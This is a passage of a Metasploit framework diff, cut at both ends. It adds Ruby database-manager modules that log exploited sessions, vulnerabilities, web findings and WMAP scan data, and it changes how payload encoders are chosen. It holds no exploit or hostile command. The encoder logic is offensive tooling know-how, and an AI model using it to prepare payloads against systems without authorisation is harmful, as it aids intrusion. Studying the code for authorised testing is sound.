session.sid + } + elsif opts[:host] + raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host + host = opts[:host] + sess_data = { + :host_id => host.id, + :stype => opts[:stype], + :desc => opts[:desc], + :platform => opts[:platform], + :via_payload => opts[:via_payload], + :via_exploit => opts[:via_exploit], + :routes => opts[:routes] || [], + :datastore => opts[:datastore], + :opened_at => opts[:opened_at], + :closed_at => opts[:closed_at], + :last_seen => opts[:last_seen] || opts[:closed_at], + :close_reason => opts[:close_reason], + } + else + raise ArgumentError.new("Missing option :session or :host") + end + ret = {} + + # Truncate the session data if necessary + if sess_data[:desc] + sess_data[:desc] = sess_data[:desc][0,255] + end + + # In the case of multi handler we cannot yet determine the true + # exploit responsible. But we can at least show the parent versus + # just the generic handler: + if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] + end + + s = ::Mdm::Session.new(sess_data) + s.save! + + if session and session.exploit_task and session.exploit_task.record + session_task = session.exploit_task.record + if session_task.class == Mdm::Task + Mdm::TaskSession.create(:task => session_task, :session => s ) + end + end + + + if opts[:session] + session.db_record = s + end + + # If this is a live session, we know the host is vulnerable to something. + if opts[:session] and session.via_exploit + mod = framework.modules.create(session.via_exploit) + + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + mod_fullname = sess_data[:datastore]['ParentModule'] + mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name + else + mod_name = mod.name + mod_fullname = mod.fullname + end + + vuln_info = { + :host => host.address, + :name => mod_name, + :refs => mod.references, + :workspace => wspace, + :exploited_at => Time.now.utc, + :info => "Exploited by #{mod_fullname} to create Session #{s.id}" + } + + port = session.exploit_datastore["RPORT"] + service = (port ? host.services.find_by_port(port.to_i) : nil) + + vuln_info[:service] = service if service + + vuln = framework.db.report_vuln(vuln_info) + + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + via_exploit = sess_data[:datastore]['ParentModule'] + else + via_exploit = session.via_exploit + end + attempt_info = { + :timestamp => Time.now.utc, + :workspace => wspace, + :module => via_exploit, + :username => session.username, + :refs => mod.references, + :session_id => s.id, + :host => host, + :service => service, + :vuln => vuln + } + + framework.db.report_exploit_success(attempt_info) + + end + + s + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/session_event.rb b/lib/msf/core/db_manager/session_event.rb new file mode 100644 index 0000000000..6b53d3348c --- /dev/null +++ b/lib/msf/core/db_manager/session_event.rb @@ -0,0 +1,49 @@ +module Msf::DBManager::SessionEvent + # + # Record a session event in the database + # + # opts MUST contain one of: + # +:session+:: the Msf::Session OR the ::Mdm::Session we are reporting + # +:etype+:: event type, enum: command, output, upload, download, filedelete + # + # opts may contain + # +:output+:: the data for an output event + # +:command+:: the data for an command event + # +:remote_path+:: path to the associated file for upload, download, and filedelete events + # +:local_path+:: path to the associated file for upload, and download + # + def report_session_event(opts) + return if not active + raise ArgumentError.new("Missing required option :session") if opts[:session].nil? + raise ArgumentError.new("Expected an :etype") unless opts[:etype] + session = nil + + ::ActiveRecord::Base.connection_pool.with_connection { + if opts[:session].respond_to? :db_record + session = opts[:session].db_record + if session.nil? + # The session doesn't have a db_record which means + # a) the database wasn't connected at session registration time + # or + # b) something awful happened and the report_session call failed + # + # Either way, we can't do anything with this session as is, so + # log a warning and punt. + wlog("Warning: trying to report a session_event for a session with no db_record (#{opts[:session].sid})") + return + end + event_data = { :created_at => Time.now } + else + session = opts[:session] + event_data = { :created_at => opts[:created_at] } + end + + event_data[:session_id] = session.id + [:remote_path, :local_path, :output, :command, :etype].each do |attr| + event_data[attr] = opts[attr] if opts[attr] + end + + s = ::Mdm::SessionEvent.create(event_data) + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/task.rb b/lib/msf/core/db_manager/task.rb new file mode 100644 index 0000000000..c1039ebd9a --- /dev/null +++ b/lib/msf/core/db_manager/task.rb @@ -0,0 +1,57 @@ +module Msf::DBManager::Task + # + # Find or create a task matching this type/data + # + def find_or_create_task(opts) + report_task(opts) + end + + def report_task(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + path = opts.delete(:path) || (raise RuntimeError, "A task :path is required") + + ret = {} + + user = opts.delete(:user) + desc = opts.delete(:desc) + error = opts.delete(:error) + info = opts.delete(:info) + mod = opts.delete(:mod) + options = opts.delete(:options) + prog = opts.delete(:prog) + result = opts.delete(:result) + completed_at = opts.delete(:completed_at) + task = wspace.tasks.new + + task.created_by = user + task.description = desc + task.error = error if error + task.info = info + task.module = mod + task.options = options + task.path = path + task.progress = prog + task.result = result if result + msf_import_timestamps(opts,task) + # Having blank completed_ats, while accurate, will cause unstoppable tasks. + if completed_at.nil? || completed_at.empty? + task.completed_at = opts[:updated_at] + else + task.completed_at = completed_at + end + task.save! + ret[:task] = task + } + end + + # + # This methods returns a list of all tasks in the database + # + def tasks(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.tasks + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb new file mode 100644 index 0000000000..dbe79dcf6f --- /dev/null +++ b/lib/msf/core/db_manager/vuln.rb @@ -0,0 +1,250 @@ +module Msf::DBManager::Vuln + # + # This method iterates the vulns table calling the supplied block with the + # vuln instance of each entry. + # + def each_vuln(wspace=workspace,&block) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.vulns.each do |vulns| + block.call(vulns) + end + } + end + + # + # Find or create a vuln matching this service/name + # + def find_or_create_vuln(opts) + report_vuln(opts) + end + + def find_vuln_by_details(details_map, host, service=nil) + + # Create a modified version of the criteria in order to match against + # the joined version of the fields + + crit = {} + details_map.each_pair do |k,v| + crit[ "vuln_details.#{k}" ] = v + end + + vuln = nil + + if service + vuln = service.vulns.includes(:vuln_details).where(crit).first + end + + # Return if we matched based on service + return vuln if vuln + + # Prevent matches against other services + crit["vulns.service_id"] = nil if service + vuln = host.vulns.includes(:vuln_details).where(crit).first + + return vuln + end + + def find_vuln_by_refs(refs, host, service=nil) + + vuln = nil + + # Try to find an existing vulnerability with the same service & references + # If there are multiple matches, choose the one with the most matches + if service + refs_ids = refs.map{|x| x.id } + vuln = service.vulns.where({ 'refs.id' => refs_ids }).includes(:refs).sort { |a,b| + ( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length + }.first + end + + # Return if we matched based on service + return vuln if vuln + + # Try to find an existing vulnerability with the same host & references + # If there are multiple matches, choose the one with the most matches + refs_ids = refs.map{|x| x.id } + vuln = host.vulns.where({ 'service_id' => nil, 'refs.id' => refs_ids }).includes(:refs).sort { |a,b| + ( refs_ids - a.refs.map{|x| x.id } ).length <=> ( refs_ids - b.refs.map{|x| x.id } ).length + }.first + + return vuln + end + + def get_vuln(wspace, host, service, name, data='') + raise RuntimeError, "Not workspace safe: #{caller.inspect}" + ::ActiveRecord::Base.connection_pool.with_connection { + vuln = nil + if (service) + vuln = ::Mdm::Vuln.find.where("name = ? and service_id = ? and host_id = ?", name, service.id, host.id).order("vulns.id DESC").first() + else + vuln = ::Mdm::Vuln.find.where("name = ? and host_id = ?", name, host.id).first() + end + + return vuln + } + end + + # + # Find a vulnerability matching this name + # + def has_vuln?(name) + ::ActiveRecord::Base.connection_pool.with_connection { + Mdm::Vuln.find_by_name(name) + } + end + + # + # opts MUST contain + # +:host+:: the host where this vulnerability resides + # +:name+:: the friendly name for this vulnerability (title) + # + # opts can contain + # +:info+:: a human readable description of the vuln, free-form text + # +:refs+:: an array of Ref objects or string names of references + # +:details:: a hash with :key pointed to a find criteria hash and the rest containing VulnDetail fields + # + def report_vuln(opts) + return if not active + raise ArgumentError.new("Missing required option :host") if opts[:host].nil? + raise ArgumentError.new("Deprecated data column for vuln, use .info instead") if opts[:data] + name = opts[:name] || return + info = opts[:info] + + ::ActiveRecord::Base.connection_pool.with_connection { + + wspace = opts.delete(:workspace) || workspace + exploited_at = opts[:exploited_at] || opts["exploited_at"] + details = opts.delete(:details) + rids = opts.delete(:ref_ids) + + if opts[:refs] + rids ||= [] + opts[:refs].each do |r| + if (r.respond_to?(:ctx_id)) and (r.respond_to?(:ctx_val)) + r = "#{r.ctx_id}-#{r.ctx_val}" + end + rids << find_or_create_ref(:name => r) + end + end + + host = nil + addr = nil + if opts[:host].kind_of? ::Mdm::Host + host = opts[:host] + else + host = report_host({:workspace => wspace, :host => opts[:host]}) + addr = normalize_host(opts[:host]) + end + + ret = {} + + # Truncate the info field at the maximum field length + if info + info = info[0,65535] + end + + # Truncate the name field at the maximum field length + name = name[0,255] + + # Placeholder for the vuln object + vuln = nil + + # Identify the associated service + service = opts.delete(:service) + + # Treat port zero as no service + if service or opts[:port].to_i > 0 + + if not service + proto = nil + case opts[:proto].to_s.downcase # Catch incorrect usages, as in report_note + when 'tcp','udp' + proto = opts[:proto] + when 'dns','snmp','dhcp' + proto = 'udp' + sname = opts[:proto] + else + proto = 'tcp' + sname = opts[:proto] + end + + service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_create + end + + # Try to find an existing vulnerability with the same service & references + # If there are multiple matches, choose the one with the most matches + # If a match is found on a vulnerability with no associated service, + # update that vulnerability with our service information. This helps + # prevent dupes of the same vuln found by both local patch and + # service detection. + if rids and rids.length > 0 + vuln = find_vuln_by_refs(rids, host, service) + vuln.service = service if vuln + end + else + # Try to find an existing vulnerability with the same host & references + # If there are multiple matches, choose the one with the most matches + if rids and rids.length > 0 + vuln = find_vuln_by_refs(rids, host) + end + end + + # Try to match based on vuln_details records + if not vuln and opts[:details_match] + vuln = find_vuln_by_details(opts[:details_match], host, service) + if vuln and service and not vuln.service + vuln.service = service + end + end + + # No matches, so create a new vuln record + unless vuln + if service + vuln = service.vulns.find_by_name(name) + else + vuln = host.vulns.find_by_name(name) + end + + unless vuln + + vinf = { + :host_id => host.id, + :name => name, + :info => info + } + + vinf[:service_id] = service.id if service + vuln = Mdm::Vuln.create(vinf) + end + end + + # Set the exploited_at value if provided + vuln.exploited_at = exploited_at if exploited_at + + # Merge the references + if rids + vuln.refs << (rids - vuln.refs) + end + + # Finalize + if vuln.changed? + msf_import_timestamps(opts,vuln) + vuln.save! + end + + # Handle vuln_details parameters + report_vuln_details(vuln, details) if details + + vuln + } + end + + # + # This methods returns a list of all vulnerabilities in the database + # + def vulns(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.vulns + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/vuln_attempt.rb b/lib/msf/core/db_manager/vuln_attempt.rb new file mode 100644 index 0000000000..2533ba4abf --- /dev/null +++ b/lib/msf/core/db_manager/vuln_attempt.rb @@ -0,0 +1,20 @@ +module Msf::DBManager::VulnAttempt + def report_vuln_attempt(vuln, opts) + ::ActiveRecord::Base.connection_pool.with_connection { + return if not vuln + info = {} + + # Opts can be keyed by strings or symbols + ::Mdm::VulnAttempt.column_names.each do |kn| + k = kn.to_sym + next if ['id', 'vuln_id'].include?(kn) + info[k] = opts[kn] if opts[kn] + info[k] = opts[k] if opts[k] + end + + return unless info[:attempted_at] + + vuln.vuln_attempts.create(info) + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/vuln_detail.rb b/lib/msf/core/db_manager/vuln_detail.rb new file mode 100644 index 0000000000..7d3e52eccc --- /dev/null +++ b/lib/msf/core/db_manager/vuln_detail.rb @@ -0,0 +1,31 @@ +module Msf::DBManager::VulnDetail + # + # Populate the vuln_details table with additional + # information, matched by a specific criteria + # + def report_vuln_details(vuln, details) + ::ActiveRecord::Base.connection_pool.with_connection { + detail = ::Mdm::VulnDetail.where(( details.delete(:key) || {} ).merge(:vuln_id => vuln.id)).first + if detail + details.each_pair do |k,v| + detail[k] = v + end + detail.save! if detail.changed? + detail + else + detail = ::Mdm::VulnDetail.create(details.merge(:vuln_id => vuln.id)) + end + } + end + + # + # Update vuln_details records en-masse based on specific criteria + # Note that this *can* update data across workspaces + # + def update_vuln_details(details) + ::ActiveRecord::Base.connection_pool.with_connection { + criteria = details.delete(:key) || {} + ::Mdm::VulnDetail.update(key, details) + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/web.rb b/lib/msf/core/db_manager/web.rb new file mode 100644 index 0000000000..414846be95 --- /dev/null +++ b/lib/msf/core/db_manager/web.rb @@ -0,0 +1,363 @@ +module Msf::DBManager::Web + # + # Report a Web Form to the database. WebForm must be tied to an existing Web Site + # + # opts MUST contain + # +:web_site+:: the web site object that this page should be associated with + # +:path+:: the virtual host name for this particular web site + # +:query+:: the query string that is appended to the path (not valid for GET) + # +:method+:: the form method, one of GET, POST, or PATH + # +:params+:: an ARRAY of all parameters and values specified in the form + # + # If web_site is NOT specified, the following values are mandatory + # +:host+:: the ip address of the server hosting the web site + # +:port+:: the port number of the associated web site + # +:vhost+:: the virtual host for this particular web site + # +:ssl+:: whether or not SSL is in use on this port + # + # Duplicate records for a given web_site, path, method, and params combination will be overwritten + # + def report_web_form(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + + path = opts[:path] + meth = opts[:method].to_s.upcase + para = opts[:params] + quer = opts[:query].to_s + site = nil + + if not (path and meth) + raise ArgumentError, "report_web_form requires the path and method parameters" + end + + if not %W{GET POST PATH}.include?(meth) + raise ArgumentError, "report_web_form requires the method to be one of GET, POST, PATH" + end + + if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite) + site = opts.delete(:web_site) + else + site = report_web_site( + :workspace => wspace, + :host => opts[:host], :port => opts[:port], + :vhost => opts[:host], :ssl => opts[:ssl] + ) + if not site + raise ArgumentError, "report_web_form was unable to create the associated web site" + end + end + + ret = {} + + # Since one of our serialized fields is used as a unique parameter, we must do the final + # comparisons through ruby and not SQL. + + form = nil + ::Mdm::WebForm.where(web_site_id: site[:id], path: path, method: meth, query: quer).each do |xform| + if xform.params == para + form = xform + break + end + end + if not form + form = ::Mdm::WebForm.new + form.web_site_id = site[:id] + form.path = path + form.method = meth + form.params = para + form.query = quer + end + + msf_import_timestamps(opts, form) + form.save! + ret[:web_form] = form + } + end + + # + # Report a Web Page to the database. WebPage must be tied to an existing Web Site + # + # opts MUST contain + # +:web_site+:: the web site object that this page should be associated with + # +:path+:: the virtual host name for this particular web site + # +:code+:: the http status code from requesting this page + # +:headers+:: this is a HASH of headers (lowercase name as key) of ARRAYs of values + # +:body+:: the document body of the server response + # +:query+:: the query string after the path + # + # If web_site is NOT specified, the following values are mandatory + # +:host+:: the ip address of the server hosting the web site + # +:port+:: the port number of the associated web site + # +:vhost+:: the virtual host for this particular web site + # +:ssl+:: whether or not SSL is in use on this port + # + # These values will be used to create new host, service, and web_site records + # + # opts can contain + # +:cookie+:: the Set-Cookie headers, merged into a string + # +:auth+:: the Authorization headers, merged into a string + # +:ctype+:: the Content-Type headers, merged into a string + # +:mtime+:: the timestamp returned from the server of the last modification time + # +:location+:: the URL that a redirect points to + # + # Duplicate records for a given web_site, path, and query combination will be overwritten + # + def report_web_page(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + + path = opts[:path] + code = opts[:code].to_i + body = opts[:body].to_s + query = opts[:query].to_s + headers = opts[:headers] + site = nil + + if not (path and code and body and headers) + raise ArgumentError, "report_web_page requires the path, query, code, body, and headers parameters" + end + + if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite) + site = opts.delete(:web_site) + else + site = report_web_site( + :workspace => wspace, + :host => opts[:host], :port => opts[:port], + :vhost => opts[:host], :ssl => opts[:ssl] + ) + if not site + raise ArgumentError, "report_web_page was unable to create the associated web site" + end + end + + ret = {} + + page = ::Mdm::WebPage.where(web_site_id: site[:id], path: path, query: query).first_or_initialize + page.code = code + page.body = body + page.headers = headers + page.cookie = opts[:cookie] if opts[:cookie] + page.auth = opts[:auth] if opts[:auth] + page.mtime = opts[:mtime] if opts[:mtime] + page.ctype = opts[:ctype] if opts[:ctype] + page.location = opts[:location] if opts[:location] + msf_import_timestamps(opts, page) + page.save! + + ret[:web_page] = page + } + + end + + # + # WMAP + # Support methods + # + + # + # Report a Web Site to the database. WebSites must be tied to an existing Service + # + # opts MUST contain + # +:service+:: the service object this site should be associated with + # +:vhost+:: the virtual host name for this particular web site` + # + # If +:service+ is NOT specified, the following values are mandatory + # +:host+:: the ip address of the server hosting the web site + # +:port+:: the port number of the associated web site + # +:ssl+:: whether or not SSL is in use on this port + # + # These values will be used to create new host and service records + # + # opts can contain + # +:options+:: a hash of options for accessing this particular web site + # +:info+:: if present, report the service with this info + # + # Duplicate records for a given host, port, vhost combination will be overwritten + # + def report_web_site(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { |conn| + wspace = opts.delete(:workspace) || workspace + vhost = opts.delete(:vhost) + + addr = nil + port = nil + name = nil + serv = nil + info = nil + + if opts[:service] and opts[:service].kind_of?(::Mdm::Service) + serv = opts[:service] + else + addr = opts[:host] + port = opts[:port] + name = opts[:ssl] ? 'https' : 'http' + info = opts[:info] + if not (addr and port) + raise ArgumentError, "report_web_site requires service OR host/port/ssl" + end + + # Force addr to be the address and not hostname + addr = Rex::Socket.getaddress(addr, true) + end + + ret = {} + + host = serv ? serv.host : find_or_create_host( + :workspace => wspace, + :host => addr, + :state => Msf::HostState::Alive + ) + + if host.name.to_s.empty? + host.name = vhost + host.save! + end + + serv = serv ? serv : find_or_create_service( + :workspace => wspace, + :host => host, + :port => port, + :proto => 'tcp', + :state => 'open' + ) + + # Change the service name if it is blank or it has + # been explicitly specified. + if opts.keys.include?(:ssl) or serv.name.to_s.empty? + name = opts[:ssl] ? 'https' : 'http' + serv.name = name + end + # Add the info if it's there. + unless info.to_s.empty? + serv.info = info + end + serv.save! if serv.changed? +=begin + host.updated_at = host.created_at + host.state = HostState::Alive + host.save! +=end + + vhost ||= host.address + site = ::Mdm::WebSite.where(vhost: vhost, service_id: serv[:id]).first_or_initialize + site.options = opts[:options] if opts[:options] + + # XXX: + msf_import_timestamps(opts, site) + site.save! + + ret[:web_site] = site + } + end + + # + # Report a Web Vuln to the database. WebVuln must be tied to an existing Web Site + # + # opts MUST contain + # +:web_site+:: the web site object that this page should be associated with + # +:path+:: the virtual host name for this particular web site + # +:query+:: the query string appended to the path (not valid for GET method flaws) + # +:method+:: the form method, one of GET, POST, or PATH + # +:params+:: an ARRAY of all parameters and values specified in the form + # +:pname+:: the specific field where the vulnerability occurs + # +:proof+:: the string showing proof of the vulnerability + # +:risk+:: an INTEGER value from 0 to 5 indicating the risk (5 is highest) + # +:name+:: the string indicating the type of vulnerability + # + # If web_site is NOT specified, the following values are mandatory + # +:host+:: the ip address of the server hosting the web site + # +:port+:: the port number of the associated web site + # +:vhost+:: the virtual host for this particular web site + # +:ssl+:: whether or not SSL is in use on this port + # + # + # Duplicate records for a given web_site, path, method, pname, and name + # combination will be overwritten + # + def report_web_vuln(opts) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + + path = opts[:path] + meth = opts[:method] + para = opts[:params] || [] + quer = opts[:query].to_s + pname = opts[:pname] + proof = opts[:proof] + risk = opts[:risk].to_i + name = opts[:name].to_s.strip + blame = opts[:blame].to_s.strip + desc = opts[:description].to_s.strip + conf = opts[:confidence].to_i + cat = opts[:category].to_s.strip + payload = opts[:payload].to_s + owner = opts[:owner] ? opts[:owner].shortname : nil + + + site = nil + + if not (path and meth and proof and pname) + raise ArgumentError, "report_web_vuln requires the path, method, proof, risk, name, params, and pname parameters. Received #{opts.inspect}" + end + + if not %W{GET POST PATH}.include?(meth) + raise ArgumentError, "report_web_vuln requires the method to be one of GET, POST, PATH. Received '#{meth}'" + end + + if risk < 0 or risk > 5 + raise ArgumentError, "report_web_vuln requires the risk to be between 0 and 5 (inclusive). Received '#{risk}'" + end + + if conf < 0 or conf > 100 + raise ArgumentError, "report_web_vuln requires the confidence to be between 1 and 100 (inclusive). Received '#{conf}'" + end + + if cat.empty? + raise ArgumentError, "report_web_vuln requires the category to be a valid string" + end + + if name.empty? + raise ArgumentError, "report_web_vuln requires the name to be a valid string" + end + + if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite) + site = opts.delete(:web_site) + else + site = report_web_site( + :workspace => wspace, + :host => opts[:host], :port => opts[:port], + :vhost => opts[:host], :ssl => opts[:ssl] + ) + if not site + raise ArgumentError, "report_web_form was unable to create the associated web site" + end + end + + ret = {} + + meth = meth.to_s.upcase + + vuln = ::Mdm::WebVuln.where(web_site_id: site[:id], path: path, method: meth, pname: pname, name: name, category: cat, query: quer).first_or_initialize + vuln.name = name + vuln.risk = risk + vuln.params = para + vuln.proof = proof.to_s + vuln.category = cat + vuln.blame = blame + vuln.description = desc + vuln.confidence = conf + vuln.payload = payload + vuln.owner = owner + + msf_import_timestamps(opts, vuln) + vuln.save! + + ret[:web_vuln] = vuln + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/wmap.rb b/lib/msf/core/db_manager/wmap.rb new file mode 100644 index 0000000000..37ea91a260 --- /dev/null +++ b/lib/msf/core/db_manager/wmap.rb @@ -0,0 +1,189 @@ +# @note Wmap is a plugin and so these methods, that are only meant for that plugin, should not be part of the core +# library. +module Msf::DBManager::WMAP + # Create a request (by hand) + def create_request(host,port,ssl,meth,path,headers,query,body,respcode,resphead,response) + ::ActiveRecord::Base.connection_pool.with_connection { + req = ::Mdm::WmapRequest.create( + :host => host, + :address => host, + :port => port, + :ssl => ssl, + :meth => meth, + :path => path, + :headers => headers, + :query => query, + :body => body, + :respcode => respcode, + :resphead => resphead, + :response => response + ) + #framework.events.on_db_request(rec) + } + end + + # Create a target + def create_target(host,port,ssl,sel) + ::ActiveRecord::Base.connection_pool.with_connection { + tar = ::Mdm::WmapTarget.create( + :host => host, + :address => host, + :port => port, + :ssl => ssl, + :selected => sel + ) + #framework.events.on_db_target(rec) + } + end + + # This methods deletes all targets from targets table in the database + def delete_all_targets + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapTarget.delete_all + } + end + + # This method iterates the requests table identifiying possible targets + # This method wiil be remove on second phase of db merging. + def each_distinct_target(&block) + request_distinct_targets.each do |target| + block.call(target) + end + end + + # This method iterates the requests table calling the supplied block with the + # request instance of each entry. + def each_request(&block) + requests.each do |request| + block.call(request) + end + end + + # This method iterates the requests table returning a list of all requests of a specific target + def each_request_target(&block) + target_requests('').each do |req| + block.call(req) + end + end + + # This method iterates the requests table returning a list of all requests of a specific target + def each_request_target_with_body(&block) + target_requests('AND wmap_requests.body IS NOT NULL').each do |req| + block.call(req) + end + end + + # This method iterates the requests table returning a list of all requests of a specific target + def each_request_target_with_headers(&block) + target_requests('AND wmap_requests.headers IS NOT NULL').each do |req| + block.call(req) + end + end + + # This method iterates the requests table returning a list of all requests of a specific target + def each_request_target_with_path(&block) + target_requests('AND wmap_requests.path IS NOT NULL').each do |req| + block.call(req) + end + end + + # This method iterates the requests table returning a list of all requests of a specific target + def each_request_target_with_query(&block) + target_requests('AND wmap_requests.query IS NOT NULL').each do |req| + block.call(req) + end + end + + # This method iterates the targets table calling the supplied block with the + # target instance of each entry. + def each_target(&block) + targets.each do |target| + block.call(target) + end + end + + # Find a target matching this id + def get_target(id) + ::ActiveRecord::Base.connection_pool.with_connection { + target = ::Mdm::WmapTarget.where("id = ?", id).first() + return target + } + end + + # This method returns a list of all possible targets available in requests + # This method wiil be remove on second phase of db merging. + def request_distinct_targets + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl') + } + end + + # This method allows to query directly the requests table. To be used mainly by modules + def request_sql(host,port,extra_condition) + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapRequest.where("wmap_requests.host = ? AND wmap_requests.port = ? #{extra_condition}", host , port) + } + end + + # This methods returns a list of all targets in the database + def requests + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapRequest.all + } + end + + # Selected host + def selected_host + ::ActiveRecord::Base.connection_pool.with_connection { + selhost = ::Mdm::WmapTarget.where("selected != 0").first() + if selhost + return selhost.host + else + return + end + } + end + + # Selected id + def selected_id + selected_wmap_target.object_id + end + + # Selected port + def selected_port + selected_wmap_target.port + end + + # Selected ssl + def selected_ssl + selected_wmap_target.ssl + end + + # Selected target + def selected_wmap_target + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapTarget.find.where("selected != 0") + } + end + + # Quick way to query the database (used by wmap_sql) + def sql_query(sqlquery) + ::ActiveRecord::Base.connection_pool.with_connection { + ActiveRecord::Base.connection.select_all(sqlquery) + } + end + + # This method returns a list of all requests from target + def target_requests(extra_condition) + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapRequest.where("wmap_requests.host = ? AND wmap_requests.port = ? #{extra_condition}",selected_host,selected_port) + } + end + + # This methods returns a list of all targets in the database + def targets + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::WmapTarget.all + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/workspace.rb b/lib/msf/core/db_manager/workspace.rb new file mode 100644 index 0000000000..2f409db51e --- /dev/null +++ b/lib/msf/core/db_manager/workspace.rb @@ -0,0 +1,36 @@ +module Msf::DBManager::Workspace + # + # Creates a new workspace in the database + # + def add_workspace(name) + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::Workspace.where(name: name).first_or_create + } + end + + def default_workspace + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::Workspace.default + } + end + + def find_workspace(name) + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::Workspace.find_by_name(name) + } + end + + def workspace + framework.db.find_workspace(@workspace_name) + end + + def workspace=(workspace) + @workspace_name = workspace.name + end + + def workspaces + ::ActiveRecord::Base.connection_pool.with_connection { + ::Mdm::Workspace.all + } + end +end diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 06a9746a64..5f612e09f8 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -109,10 +109,13 @@ class EncodedPayload if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode'] encoders = pinst.compatible_encoders - # Fix encoding issue + # Make sure the encoder name from the user has the same String#encoding + # as the framework's list of encoder names so we can compare them later. + # This is important for when we get input from RPC. if reqs['Encoder'] reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding) end + # If the caller had a preferred encoder, use this encoder only if ((reqs['Encoder']) and (preferred = framework.encoders[reqs['Encoder']])) encoders = [ [reqs['Encoder'], preferred] ] @@ -125,6 +128,17 @@ class EncodedPayload self.encoder = encmod.new self.encoded = nil + # If the encoding is requested by an exploit check compatibility + # options first of all. For the 'generic/none' encoder compatibility + # options don't apply. + if (reqs['Exploit'] && + !reqs['Exploit'].compatible?(self.encoder) && + encname !~ /generic\/none/) + wlog("#{pinst.refname}: Encoder #{encoder.refname} doesn't match the exploit Compat options", + 'core', LEV_1) + next + end + # If there is an encoder type restriction, check to see if this # encoder matches with what we're searching for. if ((reqs['EncoderType']) and @@ -147,6 +161,18 @@ class EncodedPayload next end + # If the caller explictly requires register preservation, make sure + # that the module in question can handle it. This is mostly used by + # the stage encoder path. + if (reqs['ForceSaveRegisters'] and + reqs['EncoderOptions'] and + (reqs['EncoderOptions']['SaveRegisters'].to_s.length > 0) and + (! self.encoder.can_preserve_registers?)) + wlog("#{pinst.refname}: Encoder #{encoder.refname} does not preserve registers and the caller needs #{reqs['EncoderOptions']['SaveRegisters']} preserved.", + 'core', LEV_1) + next + end + # Import the datastore from payload (and likely exploit by proxy) self.encoder.share_datastore(pinst.datastore) @@ -218,7 +244,6 @@ class EncodedPayload # suck at life. if (self.encoded == nil) self.encoder = nil - raise NoEncodersSucceededError, "#{pinst.refname}: All encoders failed to encode.", caller @@ -393,6 +418,15 @@ class EncodedPayload Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts) end + # + # An array containing the architecture(s) that this payload was made to run on + # + def arch + if pinst + pinst.arch + end + end + # # The raw version of the payload # diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index 78cc094b84..070b25490c 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -127,6 +127,18 @@ class Encoder < Module # Special printf(1) via PHP magic_quotes Command Encoder # PrintfPHPMagicQuotes = "printf_php_mq" + # + # perl encoding. + # + CmdUnixPerl = 'perl' + # + # Bourne shell echo encoding. + # + CmdUnixEcho = 'echo' + # + # Bourne shell IFS encoding. + # + CmdUnixIfs = 'ifs' end # @@ -150,14 +162,14 @@ class Encoder < Module # Returns MODULE_ENCODER to indicate that this is an encoder module. # def self.type - return MODULE_ENCODER + return Msf::MODULE_ENCODER end # # Returns MODULE_ENCODER to indicate that this is an encoder module. # def type - return MODULE_ENCODER + return Msf::MODULE_ENCODER end # @@ -273,6 +285,10 @@ class Encoder < Module # Call encoded_end to do any encoder specific post-processing encode_end(state) + if arch?(ARCH_CMD) + dlog("#{self.name} result: #{state.encoded}") + end + # Return the encoded buffer to the caller return state.encoded end @@ -397,6 +413,27 @@ class Encoder < Module buf end + # + # Determines whether the encoder can preserve registers at all + # + def can_preserve_registers? + false + end + + # + # A list of registers always modified by the encoder + # + def modified_registers + [] + end + + # + # Determines whether the encoder can preserve the stack frame + # + def preserves_stack? + false + end + protected # diff --git a/lib/msf/core/event_dispatcher.rb b/lib/msf/core/event_dispatcher.rb index a2f72d2872..283b9b0257 100644 --- 